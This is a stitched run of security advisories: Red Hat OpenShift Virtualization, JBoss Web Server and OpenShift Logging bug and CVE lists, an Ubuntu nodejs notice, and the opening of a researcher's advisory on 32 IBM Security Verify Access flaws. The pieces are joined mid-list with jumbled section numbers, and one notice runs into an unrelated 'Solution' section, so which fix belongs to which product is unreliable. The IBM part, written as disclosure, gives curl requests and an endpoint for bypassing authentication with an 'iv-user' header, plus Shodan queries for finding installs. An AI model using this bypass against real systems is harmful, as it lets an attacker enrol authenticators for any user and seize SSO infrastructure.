\"Add disk\" and \"Disks\" are on the same line\n2104859 - [RFE] Add \"Copy SSH command\" to VM action list\n2105257 - Can\u0027t set log verbosity level for virt-operator pod\n2106175 - All pages are crashed after visit Virtualization -\u003e Overview\n2106963 - Cannot add configmap for windows VM\n2107279 - VM Template\u0027s bootable disk can be marked as bootable\n2107342 - CVE-2022-30631 golang: compress/gzip: stack exhaustion in Reader.Read\n2107371 - CVE-2022-30630 golang: io/fs: stack exhaustion in Glob\n2107374 - CVE-2022-1705 golang: net/http: improper sanitization of Transfer-Encoding header\n2107376 - CVE-2022-1962 golang: go/parser: stack exhaustion in all Parse* functions\n2107383 - CVE-2022-32148 golang: net/http/httputil: NewSingleHostReverseProxy - omit X-Forwarded-For not working\n2107386 - CVE-2022-30632 golang: path/filepath: stack exhaustion in Glob\n2107388 - CVE-2022-30635 golang: encoding/gob: stack exhaustion in Decoder.Decode\n2107390 - CVE-2022-28131 golang: encoding/xml: stack exhaustion in Decoder.Skip\n2107392 - CVE-2022-30633 golang: encoding/xml: stack exhaustion in Unmarshal\n2108339 - datasource does not provide timestamp when updated\n2108638 - When chosing a vm or template while in all-namespace, and returning to list, namespace is changed\n2109818 - Upstream metrics documentation is not detailed enough\n2109975 - DataVolume fails to import \"cirros-container-disk-demo\" image\n2110256 - Storage -\u003e PVC -\u003e upload data, does not support source reference\n2110562 - CNV introduces a compliance check fail in \"ocp4-moderate\" profile - routes-protected-by-tls\n2111240 - GiB changes to B in Template\u0027s Edit boot source reference modal\n2111292 - kubevirt plugin console is crashed after creating a vm with 2 nics\n2111328 - kubevirt plugin console crashed after visit vmi page\n2111378 - VM SSH command generated by UI points at api VIP\n2111744 - Cloned template should not label `app.kubernetes.io/name: common-templates`\n2111794 - the virtlogd process is taking too much RAM! (17468Ki \u003e 17Mi)\n2112900 - button style are different\n2114516 - Nothing happens after clicking on Fedora cloud image list link\n2114636 - The style of displayed items are not unified on VM tabs\n2114683 - VM overview tab is crashed just after the vm is created\n2115257 - Need to Change system-product-name to \"OpenShift Virtualization\" in CNV-4.12\n2115258 - The storageclass of VM disk is different from quick created and customize created after changed the default storageclass\n2115280 - [e2e] kubevirt-e2e-aws see two duplicated navigation items\n2115769 - Machine type is updated to rhel8.6.0 in KV CR but not in Templates\n2116225 - The filter keyword of the related operator \u0027Openshift Data Foundation\u0027 is \u0027OCS\u0027 rather than \u0027ODF\u0027\n2116644 - Importer pod is failing to start with error \"MountVolume.SetUp failed for volume \"cdi-proxy-cert-vol\" : configmap \"custom-ca\" not found\"\n2117549 - Cannot edit cloud-init data after add ssh key\n2117803 - Cannot edit ssh even vm is stopped\n2117813 - Improve descriptive text of VM details while VM is off\n2117872 - CVE-2022-1798 kubeVirt: Arbitrary file read on the host from KubeVirt VMs\n2118257 - outdated doc link tolerations modal\n2118823 - Deprecated API 1.25 call: virt-cdi-controller/v0.0.0 (linux/amd64) kubernetes/$Format\n2119069 - Unable to start windows VMs on PSI setups\n2119128 - virt-launcher cannot be started on OCP 4.12 due to PodSecurity restricted:v1.24\n2119309 - readinessProbe in VM stays on failed\n2119615 - Change the disk size causes the unit changed\n2120907 - Cannot filter disks by label\n2121320 - Negative values in migration metrics\n2122236 - Failing to delete HCO with SSP sticking around\n2122990 - VMExport should check APIGroup\n2124147 - \"ReadOnlyMany\" should not be added to supported values in memory dump\n2124307 - Ui crash/stuck on loading when trying to detach disk on a VM\n2124528 - On upgrade, when live-migration is failed due to an infra issue, virt-handler continuously and endlessly tries to migrate it\n2124555 - View documentation link on MigrationPolicies page des not work\n2124557 - MigrationPolicy description is not displayed on Details page\n2124558 - Non-privileged user can start MigrationPolicy creation\n2124565 - Deleted DataSource reappears in list\n2124572 - First annotation can not be added to DataSource\n2124582 - Filtering VMs by OS does not work\n2124594 - Docker URL validation is inconsistent over application\n2124597 - Wrong case in Create DataSource menu\n2126104 - virtctl image-upload hangs waiting for pod to be ready with missing access mode defined in the storage profile\n2126397 - many KubeVirtComponentExceedsRequestedMemory alerts in Firing state\n2127787 - Expose the PVC source of the dataSource on UI\n2127843 - UI crashed by selecting \"Live migration network\"\n2127931 - Change default time range on Virtualization -\u003e Overview -\u003e Monitoring dashboard to 30 minutes\n2127947 - cluster-network-addons-config tlsSecurityProfle takes a long time to update after setting APIServer\n2128002 - Error after VM template deletion\n2128107 - sriov-manage command fails to enable SRIOV Virtual functions on the Ampere GPU Cards\n2128872 - [4.11]Can\u0027t restore cloned VM\n2128948 - Cannot create DataSource from default YAML\n2128949 - Cannot create MigrationPolicy from example YAML\n2128997 - [4.11.1]virt-launcher cannot be started on OCP 4.12 due to PodSecurity restricted:v1.24\n2129013 - Mark Windows 11 as TechPreview\n2129234 - Service is not deleted along with the VM when the VM is created from a template with service\n2129301 - Cloud-init network data don\u0027t wipe out on uncheck checkbox \u0027Add network data\u0027\n2129870 - crypto-policy : Accepting TLS 1.3 connections by validating webhook\n2130509 - Auto image import in failed state with data sources pointing to external manually-created PVC/DV\n2130588 - crypto-policy : Common Ciphers support by apiserver and hco\n2130695 - crypto-policy : Logging Improvement and publish the source of ciphers\n2130909 - Non-privileged user can start DataSource creation\n2131157 - KV data transfer rate chart in VM Metrics tab is not displayed\n2131165 - [dark mode] Additional statuses accordion on Virtualization Overview page not visible enough\n2131674 - Bump virtlogd memory requirement to 20Mi\n2132031 - Ensure Windows 2022 Templates are marked as TechPreview like it is done now for Windows 11\n2132682 - Default YAML entity name convention. \n2132721 - Delete dialogs\n2132744 - Description text is missing in Live Migrations section\n2132746 - Background is broken in Virtualization Monitoring page\n2132783 - VM can not be created from Template with edited boot source\n2132793 - Edited Template BSR is not saved\n2132932 - Typo in PVC size units menu\n2133540 - [pod security violation audit] Audit violation in \"cni-plugins\" container should be fixed\n2133541 - [pod security violation audit] Audit violation in \"bridge-marker\" container should be fixed\n2133542 - [pod security violation audit] Audit violation in \"manager\" container should be fixed\n2133543 - [pod security violation audit] Audit violation in \"kube-rbac-proxy\" container should be fixed\n2133655 - [pod security violation audit] Audit violation in \"cdi-operator\" container should be fixed\n2133656 - [4.12][pod security violation audit] Audit violation in \"hostpath-provisioner-operator\" container should be fixed\n2133659 - [pod security violation audit] Audit violation in \"cdi-controller\" container should be fixed\n2133660 - [pod security violation audit] Audit violation in \"cdi-source-update-poller\" container should be fixed\n2134123 - KubeVirtComponentExceedsRequestedMemory Alert for virt-handler pod\n2134672 - [e2e] add data-test-id for catalog -\u003e storage section\n2134825 - Authorization for expand-spec endpoint missing\n2135805 - Windows 2022 template is missing vTPM and UEFI params in spec\n2136051 - Name jumping when trying to create a VM with source from catalog\n2136425 - Windows 11 is detected as Windows 10\n2136534 - Not possible to specify a TTL on VMExports\n2137123 - VMExport: export pod is not PSA complaint\n2137241 - Checkbox about delete vm disks is not loaded while deleting VM\n2137243 - registery input add docker prefix twice\n2137349 - \"Manage source\" action infinitely loading on DataImportCron details page\n2137591 - Inconsistent dialog headings/titles\n2137731 - Link of VM status in overview is not working\n2137733 - No link for VMs in error status in \"VirtualMachine statuses\" card\n2137736 - The column name \"MigrationPolicy name\" can just be \"Name\"\n2137896 - crypto-policy: HCO should pick TLSProfile from apiserver if not provided explicitly\n2138112 - Unsupported S3 endpoint option in Add disk modal\n2138119 - \"Customize VirtualMachine\" flow is not user-friendly because settings are split into 2 modals\n2138199 - Win11 and Win22 templates are not filtered properly by Template provider\n2138653 - Saving Template prameters reloads the page\n2138657 - Setting DATA_SOURCE_* Template parameters makes VM creation fail\n2138664 - VM that was created with SSH key fails to start\n2139257 - Cannot add disk via \"Using an existing PVC\"\n2139260 - Clone button is disabled while VM is running\n2139293 - Non-admin user cannot load VM list page\n2139296 - Non-admin cannot load MigrationPolicies page\n2139299 - No auto-generated VM name while creating VM by non-admin user\n2139306 - Non-admin cannot create VM via customize mode\n2139479 - virtualization overview crashes for non-priv user\n2139574 - VM name gets \"emptyname\" if click the create button quickly\n2139651 - non-priv user can click create when have no permissions\n2139687 - catalog shows template list for non-priv users\n2139738 - [4.12]Can\u0027t restore cloned VM\n2139820 - non-priv user cant reach vm details\n2140117 - Provide upgrade path from 4.11.1-\u003e4.12.0\n2140521 - Click the breadcrumb list about \"VirtualMachines\" goes to undefined project\n2140534 - [View only] it should give a permission error when user clicking the VNC play/connect button as a view only user\n2140627 - Not able to select storageClass if there is no default storageclass defined\n2140730 - Links on Virtualization Overview page lead to wrong namespace for non-priv user\n2140808 - Hyperv feature set to \"enabled: false\" prevents scheduling\n2140977 - Alerts number is not correct on Virtualization overview\n2140982 - The base template of cloned template is \"Not available\"\n2140998 - Incorrect information shows in overview page per namespace\n2141089 - Unable to upload boot images. \n2141302 - Unhealthy states alerts and state metrics are missing\n2141399 - Unable to set TLS Security profile for CDI using HCO jsonpatch annotations\n2141494 - \"Start in pause mode\" option is not available while creating the VM\n2141654 - warning log appearing on VMs: found no SR-IOV networks\n2141711 - Node column selector is redundant for non-priv user\n2142468 - VM action \"Stop\" should not be disabled when VM in pause state\n2142470 - Delete a VM or template from all projects leads to 404 error\n2142511 - Enhance alerts card in overview\n2142647 - Error after MigrationPolicy deletion\n2142891 - VM latency checkup: Failed to create the checkup\u0027s Job\n2142929 - Permission denied when try get instancestypes\n2143268 - Topolvm storageProfile missing accessModes and volumeMode\n2143498 - Could not load template while creating VM from catalog\n2143964 - Could not load template while creating VM from catalog\n2144580 - \"?\" icon is too big in VM Template Disk tab\n2144828 - \"?\" icon is too big in VM Template Disk tab\n2144839 - Alerts number is not correct on Virtualization overview\n2153849 - After upgrade to 4.11.1-\u003e4.12.0 hco.spec.workloadUpdateStrategy value is getting overwritten\n2155757 - Incorrect upstream-version label \"v1.6.0-unstable-410-g09ea881c\" is tagged to 4.12 hyperconverged-cluster-operator-container and hyperconverged-cluster-webhook-container\n\n5. Description:\n\nRed Hat JBoss Web Server is a fully integrated and certified set of\ncomponents for hosting Java web applications. It is comprised of the Apache\nTomcat Servlet container, JBoss HTTP Connector (mod_cluster), the\nPicketLink Vault extension for Apache Tomcat, and the Tomcat Native\nlibrary. This release includes bug fixes,\nenhancements and component upgrades, which are documented in the Release\nNotes, linked to in the References. \n\nThe References section of this erratum contains a download link for the\nupdate. This software, such as Apache HTTP Server, is\ncommon to multiple JBoss middleware products, and is packaged under Red Hat\nJBoss Core Services to allow for faster distribution of updates, and for a\nmore consistent update experience. \n\nSecurity Fix(es):\n\n* libxml2: integer overflows with XML_PARSE_HUGE (CVE-2022-40303)\n* libxml2: dict corruption caused by entity reference cycles\n(CVE-2022-40304)\n* expat: a use-after-free in the doContent function in xmlparse.c\n(CVE-2022-40674)\n* zlib: a heap-based buffer over-read or buffer overflow in inflate in\ninflate.c via a large gzip header extra field (CVE-2022-37434)\n* curl: HSTS bypass via IDN (CVE-2022-42916)\n* curl: HTTP proxy double-free (CVE-2022-42915)\n* curl: POST following PUT confusion (CVE-2022-32221)\n* httpd: mod_proxy: X-Forwarded-For dropped by hop-by-hop mechanism\n(CVE-2022-31813)\n* httpd: mod_sed: DoS vulnerability (CVE-2022-30522)\n* httpd: out-of-bounds read in ap_strcmp_match() (CVE-2022-28615)\n* httpd: out-of-bounds read via ap_rwrite() (CVE-2022-28614)\n* httpd: mod_proxy_ajp: Possible request smuggling (CVE-2022-26377)\n* curl: control code in cookie denial of service (CVE-2022-35252)\n* zlib: a heap-based buffer over-read or buffer overflow in inflate in\ninflate.c via a large gzip header extra field (CVE-2022-37434)\n* jbcs-httpd24-httpd: httpd: mod_isapi: out-of-bounds read (CVE-2022-28330)\n* curl: Unpreserved file permissions (CVE-2022-32207)\n* curl: various flaws (CVE-2022-32206 CVE-2022-32208)\n* openssl: the c_rehash script allows command injection (CVE-2022-2068)\n* openssl: c_rehash script allows command injection (CVE-2022-1292)\n* jbcs-httpd24-httpd: httpd: core: Possible buffer overflow with very large\nor unlimited LimitXMLRequestBody (CVE-2022-22721)\n* jbcs-httpd24-httpd: httpd: mod_sed: Read/write beyond bounds\n(CVE-2022-23943)\n\nFor more details about the security issue(s), including the impact, a CVSS\nscore, acknowledgments, and other related information, refer to the CVE\npage(s) listed in the References section. Bugs fixed (https://bugzilla.redhat.com/):\n\n2064319 - CVE-2022-23943 httpd: mod_sed: Read/write beyond bounds\n2064320 - CVE-2022-22721 httpd: core: Possible buffer overflow with very large or unlimited LimitXMLRequestBody\n2081494 - CVE-2022-1292 openssl: c_rehash script allows command injection\n2094997 - CVE-2022-26377 httpd: mod_proxy_ajp: Possible request smuggling\n2095000 - CVE-2022-28330 httpd: mod_isapi: out-of-bounds read\n2095002 - CVE-2022-28614 httpd: Out-of-bounds read via ap_rwrite()\n2095006 - CVE-2022-28615 httpd: Out-of-bounds read in ap_strcmp_match()\n2095015 - CVE-2022-30522 httpd: mod_sed: DoS vulnerability\n2095020 - CVE-2022-31813 httpd: mod_proxy: X-Forwarded-For dropped by hop-by-hop mechanism\n2097310 - CVE-2022-2068 openssl: the c_rehash script allows command injection\n2099300 - CVE-2022-32206 curl: HTTP compression denial of service\n2099305 - CVE-2022-32207 curl: Unpreserved file permissions\n2099306 - CVE-2022-32208 curl: FTP-KRB bad message verification\n2116639 - CVE-2022-37434 zlib: heap-based buffer over-read and overflow in inflate() in inflate.c via a large gzip header extra field\n2120718 - CVE-2022-35252 curl: control code in cookie denial of service\n2130769 - CVE-2022-40674 expat: a use-after-free in the doContent function in xmlparse.c\n2135411 - CVE-2022-32221 curl: POST following PUT confusion\n2135413 - CVE-2022-42915 curl: HTTP proxy double-free\n2135416 - CVE-2022-42916 curl: HSTS bypass via IDN\n2136266 - CVE-2022-40303 libxml2: integer overflows with XML_PARSE_HUGE\n2136288 - CVE-2022-40304 libxml2: dict corruption caused by entity reference cycles\n\n5. ==========================================================================\nUbuntu Security Notice USN-6457-1\nOctober 30, 2023\n\nnodejs vulnerabilities\n==========================================================================\n\nA security issue affects these releases of Ubuntu and its derivatives:\n\n- Ubuntu 22.04 LTS\n\nSummary:\n\nSeveral security issues were fixed in Node.js. \n\nSoftware Description:\n- nodejs: An open-source, cross-platform JavaScript runtime environment. \n\nDetails:\n\nTavis Ormandy discovered that Node.js incorrectly handled certain inputs. If a\nuser or an automated system were tricked into opening a specially crafted\ninput file, a remote attacker could possibly use this issue to cause a\ndenial of service. (CVE-2022-0778)\n\nElison Niven discovered that Node.js incorrectly handled certain inputs. (CVE-2022-1292)\n\nChancen and Daniel Fiala discovered that Node.js incorrectly handled certain\ninputs. (CVE-2022-2068)\n\nAlex Chernyakhovsky discovered that Node.js incorrectly handled certain\ninputs. (CVE-2022-2097)\n\nUpdate instructions:\n\nThe problem can be corrected by updating your system to the following\npackage versions:\n\nUbuntu 22.04 LTS:\n libnode-dev 12.22.9~dfsg-1ubuntu3.1\n libnode72 12.22.9~dfsg-1ubuntu3.1\n nodejs 12.22.9~dfsg-1ubuntu3.1\n nodejs-doc 12.22.9~dfsg-1ubuntu3.1\n\nIn general, a standard system update will make all the necessary changes. Solution:\n\nFor OpenShift Container Platform 4.9 see the following documentation, which\nwill be updated shortly, for detailed release notes:\n\nhttps://docs.openshift.com/container-platform/4.9/logging/cluster-logging-release-notes.html\n\nFor Red Hat OpenShift Logging 5.3, see the following instructions to apply\nthis update:\n\nhttps://docs.openshift.com/container-platform/4.9/logging/cluster-logging-upgrading.html\n\n4. Bugs fixed (https://bugzilla.redhat.com/):\n\n2064698 - CVE-2020-36518 jackson-databind: denial of service via a large depth of nested objects\n2135244 - CVE-2022-42003 jackson-databind: deep wrapper array nesting wrt UNWRAP_SINGLE_VALUE_ARRAYS\n2135247 - CVE-2022-42004 jackson-databind: use of deeply nested arrays\n\n5. JIRA issues fixed (https://issues.jboss.org/):\n\nLOG-3293 - log-file-metric-exporter container has not limits exhausting the resources of the node\n\n6. -----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA512\n\n## Advisory Information\n\nTitle: 32 vulnerabilities in IBM Security Verify Access\nAdvisory URL: https://pierrekim.github.io/advisories/2024-ibm-security-verify-access.txt\nBlog URL: https://pierrekim.github.io/blog/2024-11-01-ibm-security-verify-access-32-vulnerabilities.html\nDate published: 2024-11-01\nVendors contacted: IBM\nRelease mode: Released\nCVE: CVE-2022-2068, CVE-2023-30997, CVE-2023-30998, CVE-2023-31001, CVE-2023-31004, CVE-2023-31005, CVE-2023-31006, CVE-2023-32328, CVE-2023-32329, CVE-2023-32330, CVE-2023-38267, CVE-2023-38267, CVE-2023-38368, CVE-2023-38369, CVE-2023-38370, CVE-2023-43017, CVE-2024-25027, CVE-2024-35137, CVE-2024-35139, CVE-2024-35140, CVE-2024-35141, CVE-2024-35142\n\n\n\n## Product description\n\n\u003e IBM Security Verify Access is a complete authorization and network security policy management solution. It provides end-to-end protection of resources over geographically dispersed intranets and extranets. \n\u003e In addition to state-of-the-art security policy management, IBM Security Verify Access provides authentication, authorization, data security, and centralized resource management capabilities. \n\u003e \n\u003e IBM Security Verify Access offers the following features:\n\u003e\n\u003e - Authentication\n\u003e\n\u003e Provides a wide range of built-in authenticators and supports external authenticators. \n\u003e \n\u003e - Authorization\n\u003e\n\u003e Provides permit and deny decisions for protected resources requests in the secure domain through the authorization API. \n\u003e \n\u003e - Data security and centralized resource management\n\u003e\n\u003e Manages secure access to private internal network-based resources by using the public Internet\u0027s broad connectivity and ease of use with a corporate firewall system. \n\u003e\n\u003e From https://www.ibm.com/docs/en/sva/10.0.8?topic=overview-introduction-security-verify-access\n\n\n\n## Vulnerability Summary\n\nVulnerable versions: IBM Security Verify Access \u003c 10.0.8. \n\nThe summary of the vulnerabilities is as follows:\n\n1. non-assigned CVE vulnerability - Authentication Bypass on IBM Security Verify Runtime\n2. CVE-2024-25027 - Reuse of snapshot private keys\n3. CVE-2023-30997 - Local Privilege Escalation using OpenLDAP\n4. CVE-2023-30998 - Local Privilege Escalation using rpm\n5. CVE-2023-38267, CVE-2024-35141, CVE-2024-35142 - Insecure setuid binaries and multiple Local Privilege Escalation in IBM codes\n5.1. CVE-2023-38267 - Local Privilege Escalation using mesa_config - import of a new snapshot\n5.2. CVE-2024-35141 - Local Privilege Escalation using mesa_config - command injections\n5.3. CVE-2023-38267 - Local Privilege Escalation using mesa_cli - import of a new snapshot\n5.4. CVE-2024-35142 - Local Privilege Escalation using mesa_cli - telnet escape shell\n6. CVE-2023-43017 - PermitRootLogin set to yes\n8. CVE-2024-35137 and CVE-2024-35139 - Lack of password for the `cluster` user\n9. CVE-2023-38368 - Non-standard way of storing hashes and world-readable files containing hashes\n10. CVE-2023-38369 - Hardcoded PKCS#12 files\n11. CVE-2023-31001 - Incorrect permissions in verify-access-dsc (race condition and leak of private key\n12. non-assigned CVE vulnerability - Insecure health_check.sh script in verify-access (race condition and leak of private key)\n13. CVE-2024-35140 - Local Privilege Escalation due to insecure health_check.sh script in verify-access (insecure SSL, insecure files)\n14. CVE-2024-35140 (duplicate?) - Local Privilege Escalation due to insecure health_check.sh script in verify-access-dsc (insecure SSL, insecure file)\n15. CVE-2023-31004 - Remote Code Execution due to insecure download of snapshot in verify-access-dsc, verify-access-runtime and verify-access-wrp\n16. CVE-2023-31005 - Lack of authentication in Postgres inside verify-access-runtime\n17. CVE-2023-31006 - Null pointer dereference in dscd - Remote DoS against DSC instances\n18. CVE-2023-32327 - XML External Entity (XXE) in dscd\n19. CVE-2023-38370 - Remote Code Execution due to insecure download of rpm and zip files in verify-access-dsc, verify-access-runtime and verify-access-wrp (/usr/sbin/install_isva.sh)\n20. non-assigned CVE vulnerability - Remote Code Execution due to insecure download of rpm in verify-access-runtime (/usr/sbin/install_java_liberty.sh)\n21. CVE-2023-32328 - Remote Code Execution due to insecure Repository configuration\n22. CVE-2023-32329 - Additional repository configuration (potential supply-chain attack)\n23. non-assigned CVE vulnerability - Remote Code Execution due to insecure /usr/sbin/install_system.sh script in verify-access-runtime\n24. CVE-2023-32330 - Remote Code Execution due to insecure reload script in verify-access-runtime\n25. CVE-2023-32330 (duplicate?) - Remote Code Execution due to insecure reload script in verify-access-wrp\n26. non-assigned CVE vulnerability - Hardcoded private key for IBM ISS (ibmcom/verify-access)\n27. non-assigned CVE vulnerability - dcatool using an outdated OpenSSL library (ibmcom/verify-access)\n28. non-assigned CVE vulnerability - iss-lum using an outdated OpenSSL library (ibmcom/verify-access) and hardcoded keys\n29. non-assigned CVE vulnerability - Outdated \"IBM Crypto for C\" library\n30. non-assigned CVE vulnerability - Webseald using outdated code with remotely exploitable vulnerabilities\n30.1. Libmodsecurity.so - 1 non-assigned CVE vulnerability\n30.2. libtivsec_yamlcpp.so - 4 CVEs\n30.3. libtivsec_xml4c.so - outdated Xerces-C library\n31. non-assigned CVE vulnerability - Outdated and untrusted CAs used in the Docker images\n32. non-assigned CVE vulnerability - Lack of privilege separation in Docker instances\n\nTL;DR: An attacker can compromise IBM Security Verify Access using multiple vulnerabilities (7 RCEs, 1 auth bypass, 8 LPEs and some additional vulnerabilities). \nIBM Security Verify Access is a SSO solution mainly used by banks, Fortune 500 companies and governmental entities. \n\n_Miscellaneous notes_:\n\nThe vulnerabilities were found in October 2022 and were communicated to IBM at the beginning of 2023. They ultimately were patched at the end of June 2024 (after 18 months). Requiring 1.5 years to provide security patches for vulnerabilities found in a SSO solution does not appear to be in par with current cybersecurity risks and is quite worrying. Update: Following communications with IBM PSIRT in September 2024 regarding missing CVEs and the publication of this security advisory, it was confirmed that at least one vulnerability was not yet patched (a 2017 DoS in libinjection, no CVE). \n\nThe vulnerabilities were patched progressively in the 10.0.6, 10.0.7 and 10.0.8 versions. It is unclear if all the non-assigned CVE vulnerabilities have been patched but IBM confirmed that all the vulnerabilities were patched and then IBM closed all the corresponding tickets. \n\nOther issues had been reported but ultimately were dismissed (e.g. hard-to-trigger crashes and I did not have any time left for this security assessment). \n\nCommunication with IBM was difficult since IBM closed the tickets used to track the vulnerabilities multiple times without releasing any security patches. The timeline provided at the later part of this advisory provides an overview of the interactions I have had with IBM. IBM PSIRT redirected queries to IBM support and IBM support provided extremely disappointing answers to vulnerabilities. When I went back to IBM PSIRT with these answers, IBM PSIRT refused them and provided opposite answers. Reporting vulnerabilities to IBM was also inefficient. When I asked IBM for missing CVEs in September 2024, IBM PSIRT confirmed that patches were missing. All the tickets were already closed in June 2024 by IBM and I previously received confirmation that all the vulnerabilities had been patched. \n\nSecurity bulletins were mainly found by following @CVEnew (https://twitter.com/CVEnew) and I had to guess the patched vulnerabilities from the CVE descriptions. After some requests, thankfully, IBM sent me a list of CVEs corresponding to the vulnerabilities I reported. \n\nIt appears that some CVEs are still missing. \n\nFinally, another CVE (CVE-2023-38371 - https://nvd.nist.gov/vuln/detail/CVE-2023-38371), not present in this advisory) was assigned by IBM but refers to an issue (_V-[REDACTED] - Insecure SSLv3 connections to the DSC servers_ in the report sent to IBM) that was confirmed **not** to be a vulnerability by IBM and by me, after a second analysis. This CVE is likely to be revoked. Update: IBM confirmed in September 2024 that this CVE was bogus after I signaled IBM that this is an incorrect CVE. \n\n_Impacts_\n\nAn attacker can compromise the entire authentication infrastructure based on IBM Security Verify Access (ISAM/ISVA appliances and IBM Docker images) using multiple vulnerabilities (7 RCEs, 1 auth bypass, 8 LPEs and some additional vulnerabilities). \nRegarding the threat model, it is worth noting that attackers must be able to MITM traffic or get access inside the LAN of the tested organizations to exploit these vulnerabilities. \n\nWhen the IBM Security Verify Access (ISVA) runtime docker instance (a core component of this solution) is reachable over the network, an attacker can bypass the entire authentication and interact with this back-end instance as any user, providing a complete control over any user without authentication. The IBM Security Verify Runtime Docker instance provides the advanced access control and federation capabilities and is a core functionality of IBM Security Verify Access: it provides a back-end for authenticating users (for example, it supports HOTP, TOTP, RSA OTP, MAC OTP with email delivery, username and password, FIDO2/WebAuthn...). The back-end APIs provided by the IBM Security Verify Access runtime docker instance are vulnerable to an authentication bypass vulnerability. Since the back-end is fully reachable, this vulnerability allows an attacker to get persistence in a targeted infrastructure by enrolling malicious Multi-Factor Authenticators to any user, without authentication (e.g. an authenticator assigned to any user, protected by a PIN (or not) chosen by the threat actor). In an offensive scenario, an attacker will likely delete authenticators for admins and security team and enroll new authenticators corresponding to admin accounts and get full control over the infrastructure while locking out legit admins. \n\nThis vulnerability has not been patched and IBM recommends implementing network restrictions or using mutual TLS authentication and following best practices:\n\n\u003e Note: If the runtime container is exposed on an external IP address there must be network restrictions in place to ensure that access is not allowed from untrusted clients, or the runtime must be configured to require mutual TLS authentication. \n\u003e \n\u003e From https://www.ibm.com/docs/en/sva/10.0.8?topic=support-docker-image-verify-access-runtime#concept_thc_pnz_w4b__title__1\n\u003e\n\u003e And from https://www.ibm.com/docs/en/sva/10.0.8?topic=settings-runtime-parameters\n\u003e\n\u003e And from https://www.ibm.com/docs/en/sva/10.0.8?topic=appliance-tuning-runtime-application-parameters-tracing-specifications\n\nNote that even with network restrictions, a low privileged user on a trusted machine can fully compromise the authentication solution, since the back-end used to manage the entire authentication infrastructure can be reached without authentication by sending a specific HTTP header. Network exposure of this back-end (e.g. with IPv6, from monitoring servers, from docker servers, from webseal servers [that must, by design, reach the authentication back-end], or using a SSRF vulnerability) means a full take over of the authentication infrastructure, which can be quite problematic for large organizations. \n\n_Recommendations_\n\n- - Apply security patches. \n- - Use network segmentation to isolate the Security Verify Access (ISVA) Runtime Docker instance. \n- - Implement the optional authentication based on SSL certificates in the ISVA Runtime Docker instance (this functionality has been added in the latest ISVA release (10.0.8)). \n- - Flag any additional authenticator added to an account as suspicious. \n- - Review logs for any HTTP access from untrusted IPs to the Security Verify Access Runtime Docker instance. \n\n\nShodan provides a list of websites using this technology. For SOC teams, I suggest using Shodan to check if your organization is using IBM Security Verify Access and following IBM\u0027s security recommendations. Please note that due to the versatility of this solution, it is very difficult to correctly detect affected installations using a blackbox approach:\n\n- - https://www.shodan.io/search?query=http.favicon.hash%3A-2069014068, 1,740 results as of October 30, 2024\n- - https://www.shodan.io/search?query=webseal, 1,083 results as of October 30, 2024\n- - https://www.shodan.io/search?query=CP%3D%22NON+CUR+OTPi+OUR+NOR+UNI%22, 6,673 results as of October 30, 2024\n\n\n\n## Details - Authentication Bypass on IBM Security Verify Runtime\n\nIt is possible to compromise the authentication mechanism and the authentication infrastructure by reaching the APIs provided by the IBM Security Verify Runtime Docker instance. \n\nThe threat model for this vulnerability requires an attacker with network connectivity to the IBM Security Verify Runtime Docker instance (i) from the Internet (if this service is insecurely exposed) or (ii) more likely from within LAN of the audited organization (meaning the threat actor can reach the HTTPS server of IBM Security Verify Runtime Docker instance). \n\nThe IBM Security Verify Runtime Docker instance provides the advanced access control and federation capabilities. It is a core functionality of IBM Security Verify Access: it provides a back-end for authenticating users. For example, it supports HOTP, TOTP, RSA OTP, MAC OTP with email delivery, username and password, FIDO2/WebAuthn... \n\nThe different authentication mechanisms in the APIs provided by the Runtime Docker instance used to manage users (e.g. adding an authenticator for a specific user, removing an authenticator, getting seeds, ...) can be trivially bypassed by specifying an additional HTTP header `iv-user: target-user` (e.g. `iv-user: admin`) in the HTTPS requests. \n\nAdding an additional HTTP header `iv-user: target-user` when querying the APIs will provide a complete control over the `target-user`. \n\nThere is a HTTPs server reachable on port 443/tcp providing APIs:\n\n[please use the HTML version at https://pierrekim.github.io/blog/2024-11-01-ibm-security-verify-access-32-vulnerabilities.html]\n\n[please use the HTML version at https://pierrekim.github.io/blog/2024-11-01-ibm-security-verify-access-32-vulnerabilities.html]\n\nUsually, the IBM Security Verify Runtime Docker instance is only reached by WebSEAL servers (reverse-proxies managing authentication), after a successful authentication as `easuser`, as shown below:\n\nDocumentation from https://www.ibm.com/docs/SSPREK_10.0.0/com.ibm.isva.doc/config/reference/ref_isamcfg_wga_worksheet.htm:\n\n\u003e Select the method for authentication between WebSEAL and the Advanced Access Control runtime listening interface\n\u003e \n\u003e Certificate authentication\n\u003e\n\u003e Use a certificate to authenticate between WebSEAL and the Advanced Access Control runtime listening interface. \n\u003e\n\u003e User ID and password authentication\n\u003e\n\u003e Use credentials to authenticate between WebSEAL and the Advanced Access Control runtime listening interface. \n\u003e The default username is easuser and the default password is passw0rd. \n\n\nAttack scenario: an attacker will reach the HTTPS APIs provided by the IBM Security Verify Runtime Docker instance and will not use a SSL Certificate or any credential used to manage the instance (`easuser`). \n\n[please use the HTML version at https://pierrekim.github.io/blog/2024-11-01-ibm-security-verify-access-32-vulnerabilities.html]\n\nNote that while the WebSEAL are exposed to the Internet, the runtime instance is located inside the LAN and is not usually exposed to the Internet. The attacker needs to be located inside the LAN to reach the vulnerable APIs. \n\nAccording to the documentation at https://www.ibm.com/docs/en/sva/10.0.7, we can see that the APIs are always reachable using the `/mga/sps/*` path. Actually, the `/mga/` route seems to be managed by WebSEAL servers while the `/sps/*` routes are managed by the runtime docker instance. \n\nWithout authentication, an attacker can reach the IBM Security Verify Runtime Docker image docker instance by reaching, for example, the `/sps/oauth/oauth20/authorize?client_id=ClientID\u0026response_type=code\u0026scope=mmfaAuthn` API endpoint and specifying which target user to compromise using the additional HTTP header `iv-user: target-user`. This specific endpoint is used to enroll a new Multiple-Factor Authenticator (e.g. the official IBM Security Verify app (https://play.google.com/store/apps/details?id=com.ibm.security.verifyapp\u0026hl=en) for the `target-user` user. \n\nBy specifying the HTTP header `iv-user: target-user`, an attacker can interact with all the APIs located in `/sps/*` for any user, without authentication. \n\nListing of authenticators without any cookie or HTTP header - this non-intrusive request allows detecting a vulnerable IBM Security Verify Runtime Docker instance configured to use MFA. \n\n kali% curl -ks https://test-runtime/sps/mmfa/user/mgmt/authenticators | jq . \n {\n \"result\": \"FBTRBA306E The user management operation failed because the user is not authenticated.\"\n }\n\nListing of authenticators for the `target-user` - with `iv-user` HTTP header (without session cookies nor specific credentials):\n\n kali% curl -ks https://test-runtime/sps/mmfa/user/mgmt/authenticators -H \"iv-user: target-user\" | jq . \n 